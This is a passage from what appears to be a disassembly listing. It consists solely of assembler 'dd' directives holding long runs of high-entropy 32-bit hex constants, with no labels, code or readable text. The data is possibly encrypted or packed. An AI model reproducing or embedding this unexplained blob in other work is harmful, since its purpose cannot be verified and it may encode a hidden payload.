6AAE7880h, 0B8D575C2h, 0DA99CAB4h, 9BE37B2h, 0E320C6AFh dd 37D5EFF8h, 0F8DBA12Dh, 0D94C9F35h, 6C7CA93Ah, 0A866E531h dd 5B9D1351h, 8E342BC9h, 0E85F5E6Fh, 1F99F3E9h, 5DDCF436h dd 0ED406A1Bh, 345F9095h, 0A6044127h, 0C70D564Dh, 43369F1Dh dd 2DEC6DF8h, 8B559EEFh, 6EAFFDA4h, 6F30B97Bh, 0C3CC5F1Ah dd 21CD9E30h, 0BD304347h, 9FB3BA69h, 52A5590Ch, 51A8D1C7h dd 87F43B5Ah, 1C896432h, 70A11E9h, 6764060Ch, 28640634h dd 4B9D8CA0h, 0EB0DD2B6h, 34DD84CDh, 5DF9924Ah, 24A6551Eh dd 89A994F9h, 3FC74F07h, 297410E6h, 0E284610Eh, 6A713BEBh dd 0A6F91656h, 347CFF7Fh, 0B06D1AB0h, 11F1230Bh, 0F79589EEh dd 0BE8867C8h, 0DE58233h, 0D18165ECh, 0CC57164Ah, 2244CB57h dd 7342EB2Ah, 1B8C4AFCh, 9C611292h, 6CFF44B0h, 0A0F9BD58h dd 0AB24B76Dh, 86E9F195h, 0E1BEC83Ch, 0A398F0B9h, 0F72DF99Bh dd 0DA40803Fh, 46E80591h, 0B56D5F83h, 651638F6h, 195E985h dd 0A1CD6134h, 0C5CA2457h, 8816F24Bh, 752D6498h, 762F4DBFh dd 4866EB04h, 0C707721Ah, 128CE6F8h, 6D14182Ch, 5BFE47B4h dd 0C7A82A2Ch, 731A7E5Ah, 9102A6BBh, 0FD6BF445h, 4552CD9h dd 119D1868h, 3E40C23h, 56200EE4h, 3797531Ch, 0E8B7044Dh dd 9384B7EDh, 737F786Bh, 0D70B6817h, 0D5601A78h, 75218E97h dd 0B031C0BEh, 619B9799h, 0B1428396h, 173CDF21h, 397C4A75h dd 673DE1A7h, 88B8C0BDh, 55E8A11Ch, 791AB6D7h, 0B197876Eh dd 0E94101Bh, 9E28A80Fh, 0BC15DB93h, 479BAE06h, 9B1653F6h dd 8C504250h, 0D381B105h, 0ED405C52h, 3A5B44E4h, 0A652565Fh dd 0F33BE365h, 2BEF56Dh, 9B348546h, 75A679Eh, 6CFC26Eh dd 2ECC1C89h, 6640087Ah, 0E796FFF0h, 894FB78Bh, 86422583h dd 0A620227Dh, 6327CA6Ah, 458E4C85h, 4633457Ah, 7E616319h dd 0AE16644Fh, 0E05811B8h, 0B2FE681Bh, 243F1707h, 13FD5CDCh dd 3F67FE8Bh, 0B466DFFBh, 8DFD8749h, 34A6DD89h, 1147A9C6h dd 7D441E14h, 6063AAE1h dd 8F617572h, 50CE91A3h, 225D85Bh, 0B93BD03h, 78769F81h dd 2BF533CCh, 8C52C9E8h, 18D82596h, 35B989CCh, 0A0310783h dd 233CEA97h, 25AD79ABh, 2DC4EE0Ah, 0BF64B27Fh, 2D89D7F2h dd 52EA33B4h, 0FFDBD6F9h, 0A46622EBh, 55673958h, 5A3CC351h dd 0FD9A1715h, 804A99A3h, 0D4B99B6Ch, 30F5436Ch, 82007AB5h dd 0E86F9281h, 0C24B9E13h, 3D08E55Dh, 11B9AD16h, 3C8FF6C7h dd 0A4124C22h, 0E173D903h, 0E7E20532h, 7BF71D7Bh, 67D78597h dd 68B7FB0Fh, 0F43DE5E7h, 0AF3F712Dh, 53E56F4Dh, 0D3EFA0AEh dd 8C0225A2h, 319F2B07h, 4E54D1A9h, 0D473EC11h, 2DB8EE07h dd 13967B30h, 398FA752h, 0A6DE834Bh, 0A867AB1h, 0D8194F3Eh dd 0A598ADA6h, 3F1143D1h, 58986B43h, 0AC05A98Bh, 532F6781h dd 1B7E207Eh, 3201EA84h, 8379885Ch, 1746AB8Bh, 6786295Dh dd 2CCFD8B9h, 0A92D287Ah, 759DDDE9h, 0F24470C3h, 0DAAF5298h dd 0C54C0820h, 306B6411h, 6D2847A5h, 6DD39925h, 2ECF2164h dd 91BBAC6Ah, 3D7213D5h, 5A3490C8h, 0C72D1318h, 0AEF719F4h dd 0D917D07h, 88925BF6h, 0C5B58A42h, 0DD701520h, 2BE2ED2Dh dd 0F25276h, 2FD286Dh, 7E217A82h, 0CC5F6519h, 0CFDB9F1Eh dd 0C08531B3h, 847058B6h, 0F476D868h, 46C7BBA1h, 0E1EC5941h dd 0A3A679Ah, 96FF8361h, 10CD4E53h, 42248312h, 0F95A9C19h dd 1F71468Dh, 0A6AA30D8h, 3F3CB42Ah, 0E3D8226Eh, 717E81D2h dd 0E4B19A2h, 470FF63Ch, 67C42AB5h, 0F1771BC5h, 0D3FE07CFh dd 555E3403h, 9E7F0B7h, 5D9B56B4h, 561BB608h, 66354E1Ch dd 0E8FD9F21h, 1D4F216Eh, 2064F169h, 840A5D3Ch, 4DEA31Fh dd 7098F2B6h, 5083D78Dh, 0C5E7C982h, 1A4F99E1h, 760A83C2h dd 7281570Bh, 49AA80h, 0FF9DD525h, 7E9CF5B0h, 0A0AB71A9h dd 3C8063Dh, 2E2F5B6Ah, 0FCB3CF7h, 650E266Ah, 0B2AEFF78h dd 5A1F62E6h, 0D9ADAB96h, 0E51EB706h, 0CAECA430h, 0EF6E7B5Dh dd 1B5FE425h, 6538A6B6h, 0FD33D286h, 0A6601947h, 33D954AAh dd 450B8A13h, 2E2D0DADh, 23527C8Eh, 5D53ABE5h, 0A55E7B30h dd 9CDF99C2h, 0CFE4A4D0h, 72C31526h, 7C5561C2h, 15E0E798h dd 522DDAA6h, 3D7E2F40h, 65105895h, 90EB308Bh, 0FFE1D8B2h dd 1E8F1798h, 0BE4141A7h, 189C7C05h, 0D13124AEh, 0D1FDAC50h dd 207EDAA7h, 831E8BC6h, 0E444D35Eh, 62764B24h, 37A29EB4h dd 3B1B0C00h, 36D92858h, 7297A86Ch, 393F551Eh, 0EF3675Dh dd 38FC3740h, 3414545Ch, 609549D7h, 0F10A801Dh, 8907BB04h dd 2163FDCAh, 33558599h, 12823E48h, 57E605DEh, 0B720BE61h dd 0EA500761h, 9CCF74A4h, 0C213367Ch, 4640821Ah, 6D2CE7AAh dd 28C4F13Ah, 540F4CCh, 52F4C965h, 0E27F3053h, 0D14F3CBDh dd 54AEDCF1h, 0DD9376D4h, 5A466BF7h, 1ABDD02Fh, 0ED2A881Eh dd 0EBF6820Ah, 0F0C48A4h, 3B9347C5h, 0D3B7C1D7h, 27EA72BAh dd 0ECB63312h, 601D82EBh, 677EF546h, 0DB9DBDE2h, 97D0857Eh dd 58AC126Ch, 5C13BFA7h, 0AFCDCBBh, 0C067F39Ah, 9D5B5B74h dd 466FD33Fh, 0E21CE9B7h, 47A9A1F8h, 0B2DD5361h, 493D15B2h dd 0D3262B52h, 9EE5F090h, 0F1844FBEh, 0FE3A3EC2h, 3579A4Ah dd 0FC00D45Dh, 0A6E0B3FAh, 92E90F1Ch, 0C059BAF3h, 0B9F70804h dd 98DA5B4Eh, 0E45799B2h, 0F6314763h, 597C7AEh, 49B65BC4h dd 0A33715D5h, 605EB71Ah, 1CAE98C0h, 81661590h, 866B7383h dd 26E06857h, 394F8D4h, 0D36F562Dh, 24350176h, 9E1A8286h dd 41664337h, 691F9954h, 35F67D12h, 1E015968h, 11CB89Bh dd 79143C31h, 141AB27Ah, 30116416h, 0BAEA8040h, 0BC4C1210h dd 5E749272h, 31FF0BDFh, 58F78261h, 1E4600B5h, 129E31ACh dd 976E8B7Dh, 10675EDAh, 86E2A8F5h, 42ABC324h, 34D8FFF7h dd 5C5F0430h, 0CC5E898Bh, 0BAC8FC18h, 6B6AC36Fh, 17FE397Fh dd 364F87CEh, 0E7D21CAFh, 76B001D7h, 46DAE1D1h, 0C62DF93Eh dd 0EE749B45h, 691C6303h, 0EA345221h, 5247648Dh, 32864CF4h dd 25744F58h, 40DA6E5Eh, 0F89B7B44h, 0D37F4D4h, 0A7D231CBh dd 0A82ADD6Eh, 18E06161h, 0D09BF326h, 0B4440B0Ch, 0B66C3590h dd 446B8749h, 8CEEA77Ah, 963EE7B2h, 65D135C0h, 30E9EC25h dd 73859513h, 0B8ACA010h, 0BCE5BCE1h, 210A1F6Ah, 866E0B71h dd 0B73E88D6h, 314EF579h, 0B23E2D6Ah, 249E4232h, 0E810DFC8h dd 5A68AA61h, 3FD731C4h, 46EF7BAAh, 0DF4CAA9Ah, 89F37A85h dd 872D3EE0h, 0E53B59D2h, 11EFAF47h, 0B2DFC3CDh, 0AC433487h dd 0D3D2419Ch, 27FE4CB5h, 0AD41DE6Bh, 7004D26Fh, 84C505Ch dd 0BDB52FAEh, 925AD2DEh, 48279B66h, 0D9769C84h, 2337E894h dd 40112AA0h, 0A2B89E5h, 9A9732F5h, 4E4CC912h, 1BB8A344h dd 0EA9967D6h, 0DA33D24Eh, 23EE40A0h, 2EA8AB0Fh, 2D9AA48h dd 0CD523740h, 0AF3286AEh, 0D8B993CAh, 6FADAA3Dh, 1E68087Dh dd 3BF9E05h, 541F2721h, 22500AC6h, 609ECD4Bh, 6E8B6B0Eh dd 154E4CA0h, 973B0B3Ah, 414DB499h, 0DAF9298Bh, 5D762F60h dd 0C2FEE625h, 640108CEh, 888E0722h, 0AC0EC557h, 0BC943CF8h dd 0FAED0C98h, 72569101h, 77F5AD9Fh, 69E00C94h, 0D6EC363Fh dd 0C18E7684h, 36BFF8C7h, 20B4A435h, 51C1E710h, 0A95C1E84h dd 8FD74F00h, 91025385h, 5D54D23Ch, 42D879F7h, 238CF4FAh dd 0B4C9394Ah, 285ACBEBh, 7D2DF7FBh, 0CC02A4F4h, 8E7772CFh dd 0BBA192FBh, 0E6C5F8C6h, 0DD259640h, 0AF3C3F7Eh, 4C38CDBh dd 0C111F118h, 7DA41A2Bh, 2402E8CAh, 2C7EDD47h, 0BDD9B63Bh dd 0D1361D54h, 3D477BD2h, 7B710AEDh, 0FD159CAh, 0A91EBEAAh dd 0B394CEA8h, 2B634F0Dh, 0C33E3727h, 1BA8D352h, 0E5570CDDh dd 5A8F16B1h, 8805F261h, 1630AC90h, 25205CC9h, 0E9F7A1D4h dd 5419A6ECh, 61FF40EBh, 3415A7h, 71B575A5h, 0D7EC6D62h dd 72C8B738h, 4814951h, 11B479F0h, 562588A2h, 8605AF34h dd 8625E4FDh, 0BA6C2AD5h, 121B2A48h, 0A1958C82h, 2998F915h dd 0B0120FD7h, 6B36146Eh, 3E5DBFE0h, 43922C87h, 0FC5903CEh dd 2A44F754h, 32A7D6EFh, 0D5F159D8h, 1F485C2Fh, 0F39C3B64h dd 3472039Fh, 0AE47F0ACh, 10BD96F3h, 0DC765EA6h, 3CC13C26h dd 0E15DFD84h, 0C633A675h, 6CFA8ADAh, 918D1486h, 7AA05D00h dd 1B7871DEh, 99B5935Fh, 0AF1385B2h, 72756281h, 0AD19F25Fh dd 10F11D98h, 14C3ABCFh, 7C23A929h, 8D6E5EDEh, 82A31EE0h dd 41A37DABh, 0C7435336h, 264CBB78h, 4F6269D8h, 0A0B704CBh dd 9C58972Ch, 286998Bh, 738E77FDh, 0E10CEC5Ch, 0EC3E563h dd 0A9F36698h, 3CD0804Dh, 3BD8B12Bh, 0B194CA66h, 1F163A58h dd 41C52415h, 0FC61670Dh, 0CA12A195h, 0A1BCC1B7h, 9564F270h dd 5ECFC661h, 0CFF95E0Ah, 0A913580Ah, 285DA334h, 50254077h dd 8FF7B0C0h, 1A692691h, 0D09D8ED1h, 0A43AB039h, 0AE57F73Fh dd 92E16E78h, 1CF1A5D3h, 21D03F10h, 59E3F181h, 0F8160BD9h dd 0B0C9166Fh, 0ACE5B8E0h, 1A922D07h, 0C099038Eh, 2404F774h dd 2A47D69Fh, 0DBB959C1h, 1D305C2Bh, 0F2F83B66h, 34EC0398h dd 2E1EF0ADh, 0D15916F3h, 0BCE79EA6h, 13F65C26h, 5D59033Eh dd 7A1CB37Ch, 4B36EADBh, 0E1E4CAD2h, 146DD420h, 8AB51F39h dd 0F61881BFh, 8F17F3BCh, 5D0B73h, 0C4259AE2h, 5FB73CEAh dd 7BA98B0Ah, 710C4B84h, 796414BFh, 0C2D78697h, 90956DA0h dd 460F5B49h, 495CBF7Dh, 0B7622CDDh, 0B2B70BCBh, 85B896ACh dd 1F0DB8C5h, 0FBEE45DFh dd 0D8428DACh, 6827841Fh, 0DC5F669Ch, 0FCF48043h, 0F5EEB12Ah dd 8B9DCA66h, 4F1AAA58h, 63C7E415h, 8C66470Dh, 82511195h dd 0E196F9B7h, 87059A11h, 1FC3C861h, 3779570Bh, 0B9535C8Ah dd 0F0BFA1F4h, 50B54397h, 9F8FB340h, 1B8D26D9h, 0C0C38EEDh dd 0D62D700Bh, 0CD2C1B61h, 1838AE7Fh, 0CCF0C5D2h, 37D8CF11h dd 0A7A42981h, 0E01627D9h, 0ACC9606Fh, 0B2E5A1E0h, 5D22187h dd 0DF19404Eh, 5BC4F614h, 7A67D60Fh, 0F1515E08h, 0D385C37h dd 0CAF43B70h, 38EE0391h, 0A81DF0D1h, 905A96F1h, 9C67DEA1h dd 83B67C27h, 85B9133Eh, 60CBB7Ch, 46CEEEDBh, 0D8E0C8D2h dd 18D3D720h, 70981CB9h, 0F49401FFh, 8E86339Ch, 852B43h dd 0C4026ADAh, 5FC124EEh, 7BA08708h, 7110CD87h, 8D48D5BCh dd 2A4DE71h, 0C4F2DC63h, 0A60F232Ah, 775CA36Ah, 776222D4h dd 4CB702D7h, 0EAB8922Eh, 88DBA3Ah, 400E4A3Eh, 644CEC3Ch dd 6E63E533h, 0D2B366B0h, 553881B1h, 0E7CCB131h, 0B7AECA61h dd 8C112A59h, 824BA415h, 9CA4270Dh, 9A320195h, 994F31B7h dd 996CAA70h, 78B3AA61h, 0C8FB440Bh, 0A88C570Ah, 289E25B4h dd 508501B7h, 9F879070h, 1B812961h, 0C08186A9h, 0A400B42Dh dd 0AE40F535h, 92E0E987h, 9CF0E456h, 1BD8DF56h, 79A421A0h dd 681623A9h, 0E8C96277h, 90E5A2E4h, 34922205h, 0D7990209h dd 0DF84F635h, 0B807D63Fh, 90415E30h, 3DA05C33h, 0C2B03B72h dd 3C880392h, 2A0CF0D2h, 534216F2h, 7DE31EA6h, 73709C26h dd 0D98233Eh, 427C037Ch, 64C612DBh, 0F7FF16D2h, 0F51E620h dd 4B5F6439h, 0F6B59D3Fh, 8FB67D7Ch, 0DCA53h, 0C44E7A52h dd 5FA32C22h, 7BB380E6h, 710B4F96h, 0D4C9AB4h, 42A2BFFDh dd 0E4F3CC1Dh, 0B60FAB0Bh, 8F5C649Ah, 7B6200CCh, 4EB731D3h dd 0EBB969A0h, 80DA67Bh, 0C04E441Eh, 27ACED0Ch, 4E73E58Bh dd 0A28B6674h, 1D3C8057h, 0C3C2B120h, 25AFCA69h, 0D511AA55h dd 0BEC86417h, 92E4070Eh, 12D2718Ah, 5DDF29B6h, 7B14A670h dd 69D7AC61h, 0D065450Bh, 0D4D5578Ah, 26FAA674h, 5794C1D7h dd 9C1EF060h, 1A45D969h, 0C0A75E95h, 0A431982Fh, 0AE484332h dd 12EC1086h, 5CF2F8D6h, 2818EE96h, 4DC71396h, 0BB25D435h dd 88DCC3B7h, 1FF5B304h, 4364AF55h, 6CE98F34h, 1E82BAB4h dd 48AA37DAh, 0B0316982h, 962B6FF5h, 0E5AE4E53h, 17A8AA1h dd 0DB2EE042h, 14439689h, 690B9DFFh, 0F220BD23h, 0C204432Ch dd 2CB9C86Dh, 9F76453Eh, 0CB15D4h, 0B9B8D35h, 0C2570FA9h dd 11E9153Ah, 8834F052h, 0C047B3FAh, 0C56BC222h, 2786AB36h dd 0F2AB9C18h, 0B25A1A41h, 8C489BDDh, 0F6B4446Dh, 7BE04E21h dd 6E0BCC9Fh, 875C579Ch, 796A78DDh, 5D4829FEh, 0F8B991EAh dd 0FADCC83h, 55715718h, 0F78C12FDh, 26D62608h, 0B26FE7B1h dd 56008066h, 29F1E64Eh, 3BA8B7EEh, 0CAB2AE5Ch, 54202416h dd 0D2C418F1h, 520E1D9Fh, 82101CA6h, 0CF135D8Fh, 61DBAEEDh dd 0D5616263h, 0A2C3A91Ah, 0AAE926C8h, 0A8438D8Ah, 9C36D865h dd 9725C970h, 3F485614h, 5FC1CCAEh, 2D4C4163h, 51630342h dd 1C0C00D7h, 65AD6ED6h, 9A16598Ah, 5816BF89h, 0ACA9C4D7h dd 0CDBC8BFCh, 4B1F9018h, 0A3664FCFh, 0C04778D2h, 0F32F83FEh dd 0D3215928h, 9E594C5Bh, 768C531Ah, 5F7C13ABh, 9F0AF0F7h dd 0C6AB40A1h, 2FE29EEAh, 737DCFCEh, 33273C39h, 46F87B2Dh dd 0AB7E0ADBh, 0A7171283h, 0D659079h, 5C9A7538h, 0E9B260C7h dd 163A363h, 6B0FD75Fh, 0D46FDC7Ah, 0A3ECC9C5h, 2E78C8E2h dd 9D84C611h, 48C3D3A5h, 0D75EE00Dh, 0B4F0B61Dh, 6E7269ADh dd 245B7736h, 1362F33Bh, 4E0C3C50h, 0BAA96D50h, 0F548137Eh dd 85794831h, 10E3BE73h, 832A1D88h, 1B9B6655h, 82567990h dd 2236F4AFh, 19A1CA09h, 0A9E95DCAh, 5F8D5319h, 6CCCC85Eh dd 5AFA0178h, 83EF5952h, 546CB605h, 0E29FA030h, 5D5A67CFh dd 83040B66h, 74B1437Dh, 56167E7Fh, 0E84DCF10h, 7234F985h dd 0D0B70A9Fh, 4C2115ACh, 0AE4DCE0Ah, 0D1637BD8h, 0C087D852h dd 32CB379Bh, 7C64AA45h, 4C6341E5h, 8D19C45Ch, 5E668B30h dd 467A0473h, 8C191881h, 5FC2CDBAh, 0F22AB2h, 2B01599Ah dd 8E85B017h, 0E941B219h, 5EC50B47h, 2B01AD2Dh, 344969E0h dd 0D772DE55h, 0E6B00C35h, 9FBDE7C6h, 4ADC1A7Bh, 6B51E0F3h dd 0EE2E938Bh, 0B5BFBD0h, 388FB5CCh, 0F9B61D97h, 75DFD51Ch dd 8895557Ch, 0C49EBBAFh, 0CA984D2Eh, 6BBAD2B0h, 4251E1Bh dd 0C888C2ADh, 64A9283h, 640F0C9Bh, 0E6F78F28h, 97AC148Bh dd 6329A24h, 0B4A72C0Eh, 0DA327DB6h, 0B8BF4F3h, 0CB08AC70h dd 21CA668Ah, 6BA06F8Eh, 0A89D1295h, 0BC7C7F22h, 973CCC99h dd 63A2CA69h, 712AAB5h, 2841D134h, 2DCE8535h, 13B3AAC9h dd 8AF6A36h, 4BB73A8Ah, 5C00AB15h, 0C403B01Bh, 77412D2Ah dd 37E0D6A4h, 79522B4h, 9C481136h, 0F6ADB25Fh, 49E225C4h dd 34C5E5B0h, 0FD4D9D30h, 90515BD7h, 0EC768F57h, 0CB248DA8h dd 6958E12Fh, 485F7701h, 5D0FA517h, 0FECEFFC2h, 0BD9356C6h dd 2A676858h, 698BA52Ch, 176F8561h, 9901592Fh, 936D958h dd 89600A48h, 0EF786BB0h, 0A8E0E0A6h, 7EBBE905h, 0B98A154Eh dd 1E611CC6h, 30E71E64h, 0E3FDD224h, 782F5985h, 7BC7DD8Fh dd 3A49FA69h, 1CA82AF9h, 0AAE379B6h, 89517A96h, 741B48F9h dd 4D6EBBFBh, 0A0674DF1h, 0E442F01h, 9AC7169Eh, 0F10B41FCh dd 43B3197Ch, 217D4D77h, 0F367BA77h, 0C75C044Ah, 0B62E8D3h dd 0FE5D1D0h, 0AA7E6DC8h, 18A5248Bh, 4C4A2D61h, 4F7C12CCh dd 0CFB3F5CBh, 0E294993Dh, 88E4D367h, 543AB151h, 1DA23628h dd 0FD05AA53h, 0F835219Bh, 0D6938F64h, 353B175h, 7CD6525Eh dd 102C3F70h, 0A2DA48E8h, 84F8C85Eh, 0BCC73BD9h, 0CFE2CD75h dd 57118EA9h, 67D9B3A9h, 0E5DBE6F6h, 86FAF0h, 0E14009BCh dd 0AE4E7322h, 0EEAFB580h, 197E06BDh, 0FEB3236Ah, 419B5650h dd 30164106h, 9C1FC44Ch, 0DB8C8B28h, 3391BF73h, 285C91DCh dd 1BC9F1B9h, 0FECF855Eh, 58F15976h, 6DC8A361h, 32EAD31Fh dd 0B0A303ABh, 0C3E78D25h, 0AF9503F7h, 7308A2E0h, 0A6CD79A8h dd 3010FB53h, 0F02DEB82h, 94F69133h, 0A5F395D2h, 0C81211A9h dd 198FE2ECh, 0F1EE972Ch, 602BF9B5h, 8AF36AE0h, 0C00477EFh dd 0F60F1BBh, 7BABC994h, 8EF8419Dh, 651D87ABh, 82A1F914h dd 0ECFC0CB4h, 4F0FED68h, 0A336F80Fh, 5F9E52A9h, 40A73FE7h dd 134605CAh, 0E3DEA474h, 418E0F2Fh, 9A8F2EB9h, 0BACCE5D9h dd 0E26EF85h, 0E09D840Dh, 0A752E1E4h, 135B3505h, 0D7867953h dd 0F049245Eh, 0EB668B87h, 5457D575h, 7CE7605Eh, 0B3C8370h dd 8402F3A2h, 0D513A28Ah, 8091500Ah, 0A4EF7ABFh, 0A8EF72D2h dd 39DB512Fh, 0E5DBF7E9h, 3C127581h, 0A4D693A7h, 50B124ACh dd 0E1AAC07Fh, 0E0768641h, 56248C28h, 0CC125730h, 87E94035h dd 0F04CB16Eh, 11A74D3h, 0F56CA3FCh, 0D8F34820h, 5D89F5A6h dd 0C7B82B5Fh, 38613336h, 1DB01B56h, 8A3BFDC5h, 0F1877754h dd 0FF0A8550h, 1042FD38h, 2FBDDE65h, 34ADB0ACh, 9FBD8A6Ch dd 5F59BE2Eh, 0F2C9428Bh, 8BDBAAD6h, 4CED0C28h, 8AE06739h dd 8CB3653Ch, 747E76BFh, 5E1F8328h, 21E7CFA1h, 0C8C50A9h dd 7BD1D880h, 21F76E19h, 0D1E015Fh, 0CE6535FEh, 0D4B58EC4h dd 1384ED48h, 8B198D76h, 6327A053h, 15DDD1DBh, 1CDF6DCCh dd 5A805630h, 94DE2D97h dd 4C649B77h, 0E53A293h, 0B7449ED6h, 46F4B163h, 0EB0E801Bh dd 4C414336h, 1A9BFF90h, 0F8DB0895h, 280E5764h, 0E25407h dd 7CEF0C5Eh, 47202D70h, 91CA6F07h, 91924709h, 2286DD86h dd 37A212FBh, 100BA9C7h, 153FB040h, 47A9CB1Ch, 93A6645Dh dd 4C2105D4h, 0AE4DD020h, 6715C604h, 37333CD2h, 7B1B4215h dd 1477DEDBh, 859FEB1Ah, 99362885h, 0D4196328h, 0F5175767h dd 17281CA3h, 9FF5F627h, 2DA488E3h, 1CD2BCEFh, 67EE0F8Ah dd 0C7B4515Ch, 90DEF3EEh, 0C80DBF6Ch, 464E527Bh, 76939B62h dd 1BF5BB25h, 0CFB81329h, 2EFC4EF0h, 0C21EC29Eh, 16289D2Dh dd 0BB3A1E0h, 0B2E9A730h, 7B3E200h, 480B39E9h, 0DB7A28A8h dd 28E63104h, 0D6C96773h, 6F57470Dh, 0FA507BC4h, 0D8C595E9h dd 2833571h, 0C4F38F3Bh, 0CC1F872Bh, 719896Ah, 7812FF04h dd 0A8343997h, 0BF7E0BC2h, 0F78DA69Ah, 4C1EAB23h, 1BC1EE88h dd 8326683Dh, 0A7CC3105h, 931E686Fh, 61A5B118h, 0E84134ECh dd 0F81CD5ACh, 0BDA46427h, 0A3B67285h, 52BAF5CFh, 8E0A06B9h dd 0DA18220h, 0E8158A61h, 8BEB3D08h, 3AB51454h, 0AEB3EAE9h dd 475452h, 1755CCFBh, 7CF399Ch, 0B5490703h, 0D1D6275Dh dd 0E8677D2Dh, 5463398Fh, 998CFACFh, 0F024BBD7h, 786C7EA4h dd 97E93B5Bh, 388CA628h, 0ADBED57Bh, 0C11B02A6h, 24CE4E8Ah dd 4C0DE590h, 0BEEC0E92h, 7C12590Ch, 71DF50EBh, 0B82D344h dd 0BC2103ABh, 0D8820623h, 6641E1D1h, 0FC6F1FA9h, 4939060h dd 13F8DCBCh, 0FD5A5BF4h, 0C1810F80h, 0A872D35Bh, 1BED7D77h dd 925E33B0h, 0F82679D4h, 844FA02Fh, 0EBFB48ACh, 0C46F266Ah dd 0A91966EBh, 8C92D6B8h, 700B6B6Dh, 10B03DCh, 0BD244538h dd 3C799400h, 0EB54B343h, 0EAD55050h, 30354103h, 533C35CCh dd 0B1A486DFh, 0B0785B6Ah, 1C3BB835h, 5DE96B60h, 0D8B56CCDh dd 580E19A3h, 0DA177FAFh, 56634631h, 0C9A035E8h, 0A3E9EFD8h dd 69493F48h, 0DEEF515Dh, 5C010575h, 7C13CA5Eh, 0CA2A6F70h dd 9E8AB39Ah, 2B07E0F4h, 3E30DBFEh, 27E69722h, 0A194DD5Eh dd 54DA9A15h, 912FBB16h, 0C03D1793h, 0A6C27A04h, 0F5134C4Bh dd 0F7636CDDh, 0FE7E001h, 11CB1EEEh, 99DEDABDh, 9DE256F3h dd 604A2DF8h, 7322ED29h, 925595h, 0BE09F49Ch, 0D6C9F5CDh dd 6E625853h, 88CE0A36h, 4E26B496h, 8F653B4Ch, 0C95FD28h dd 231BC1A2h, 2FAE1DE3h, 0FC631B2Eh, 0B229B327h, 1C6D63CBh dd 28068B39h, 1D27C68Eh, 0BEE145D0h, 0E739F27Eh, 0C03A3EE4h dd 0FCA0D09Ah, 0DB3A5B58h, 376F9F5h, 0C4909F36h, 5F98A38Eh dd 7B3E4B84h, 21F8D135h, 8D0A4FF5h, 82243B01h, 0D40FB787h dd 79F0DAF6h, 0C4D55C6Fh, 0C49E8ADAh, 6D3CC669h, 0C7469632h dd 15274C3Ah, 0DA074766h, 590963DEh, 307C1A31h, 0D4E0A23Dh dd 21B36877h, 62234EE7h, 48284361h, 0A124A308h, 4F9571D5h dd 7BDD0B8Dh, 5AC36DCh, 7CF722BEh, 4BEA6274h, 0E27D5BEAh dd 0D41EF6A9h, 8BB7EE0Ah, 0AE2FEB3Ch, 0D65094FBh, 9C589DE9h dd 99D02FF1h, 0F1B6E034h, 29E04B0Eh, 0EBC41FE7h, 1BFAB2DAh dd 0E6F2F0EFh, 0D0230137h, 0A7945BFEh, 8178EA6h, 0AB319BF7h dd 216E3021h, 6D90DE91h, 8A10E49Ch, 7B417E76h, 7E825CE3h dd 83311C5Dh, 0F235DF9Ah, 0B0E97A4Ch, 793402ABh, 96E54DDAh dd 7E079FA3h, 9007CB66h, 0A48A30A6h, 8A08946Fh, 0A39F1875h dd 1F415ADFh, 0FE25B66Ah, 8871C120h, 0A26F355Ch, 0F90FE5F8h dd 5E29133h, 1378B8B7h, 0C593344Bh, 0A52AAC80h, 0F202D2C9h dd 618EDA7Dh, 84B2CF86h, 872A0F0Dh, 0A8A5C38Fh, 0D3863D11h dd 0FE20A61h, 489E62D8h, 1AB6CDD3h, 0A79DBC1h, 8185257Eh dd 943E12EDh, 0A1A9118Ah, 5983A046h, 65679E10h, 5F4CD5ECh dd 0A6A2B182h, 1EA4416Dh, 0F8CC10DAh, 0F443E416h, 753D4E55h dd 0B5AE0449h, 14038AE6h, 4BEA7A04h, 9E837589h, 1293AAF4h dd 0D73CCEE2h, 0D18E32F4h, 0DE48E3E8h, 9C5DF186h, 0E56195F9h dd 4A6D2907h, 0E0A185B6h, 104290FEh, 1667C66Ch, 23B684F8h dd 0FB20F7FFh, 4C5DBEC7h, 1B271B5Dh, 94366872h, 75A19561h dd 0E06D12DBh, 5C13119h, 1870A88h, 6E9BF558h, 76191CEDh dd 66DED798h, 0C0643B48h, 7932732Dh, 964979A6h, 7E001FA3h dd 29058D66h, 4465F401h, 0CF83D755h, 5CF1B095h, 7C120724h dd 1DE46F6h, 5E731079h, 1A3F3730h, 0A5C73FA9h, 57A4D14h dd 8EA325C0h, 2C3F0579h, 0A0635D33h, 0F1B702C3h, 348F2A68h dd 71E0FDh, 8FF1B34Bh, 0ACA04C34h, 0E60FA6CAh, 9D50C112h dd 84EAE816h, 0D54108D5h, 0B3A18631h, 0D889972Eh, 1D4A7C32h dd 588B6398h, 60A3C574h, 2DE4FF55h, 550E57EEh, 45D8F1E6h dd 9E9189E7h, 0E379D516h, 271CA416h, 6C5B5848h, 14AF0589h dd 0F91B9585h, 0C11A0586h, 22FDFD24h, 8F44AF4Fh, 15610583h dd 770353E1h, 0DC464A64h, 0E9D2956Dh, 66D2D695h, 3F489951h dd 0DA297A0Ah, 478DA5E6h, 92EA39A7h, 9CEB7138h, 738873C8h dd 0C664A8F4h, 0A4AD35FBh, 7EC92DFCh, 7A7F8CE2h, 869090E6h dd 0EB955D52h, 4507F244h, 760EB3A1h, 7C06D000h, 0FCC55E59h dd 0B6363638h, 916713DEh, 0C8B8BB8Ch, 0A0E0D27Bh, 7AD81863h dd 0A7975992h, 0CF604E51h, 56508B6Dh, 50C2BD24h, 0E65C3DDEh dd 5DA33E20h, 4D0361C6h, 0BBC1683Fh, 5ED27698h, 800CDE6Eh dd 3B396DF6h, 5F98CFC1h, 9388395Eh, 8EF8D23Bh, 84424E81h dd 37984A4Dh, 55F4358Bh, 0C70C06D0h, 71034551h, 968E9E08h dd 33E6C55h, 4A466CA4h, 42785B7Eh, 110BF069h, 515911D8h dd 9F4CD625h, 0C12FE5AAh, 5F19433Ah, 0AE7632FDh, 9DA49C3Eh dd 894CA20Eh, 0A648EF0Eh, 28D34068h, 0AC4D328Ah, 681042B6h dd 4C96B6F5h, 618AFB5Ch, 57128F0Bh, 0A1D51642h, 0A2E6DB75h dd 41668A1h, 63A7F3C8h, 184E0A76h, 904C5DC8h, 43C14908h dd 2DB26B64h, 0D56335ECh, 21F1F338h, 0F78EFFACh, 299990DDh dd 4FDE3DA2h, 14C86811h, 0A130E25h, 6E903D77h, 149E29Ch dd 6A14918Eh, 795828BAh, 99FD9DE5h, 90B2211Fh, 46074F4Eh dd 29C8461Ch, 0C8447ACEh, 0D78A7EE8h, 2CD7A15Ah, 864C29Dh dd 0CE8F1AC6h, 0A16D6B7Dh, 6B4D3324h, 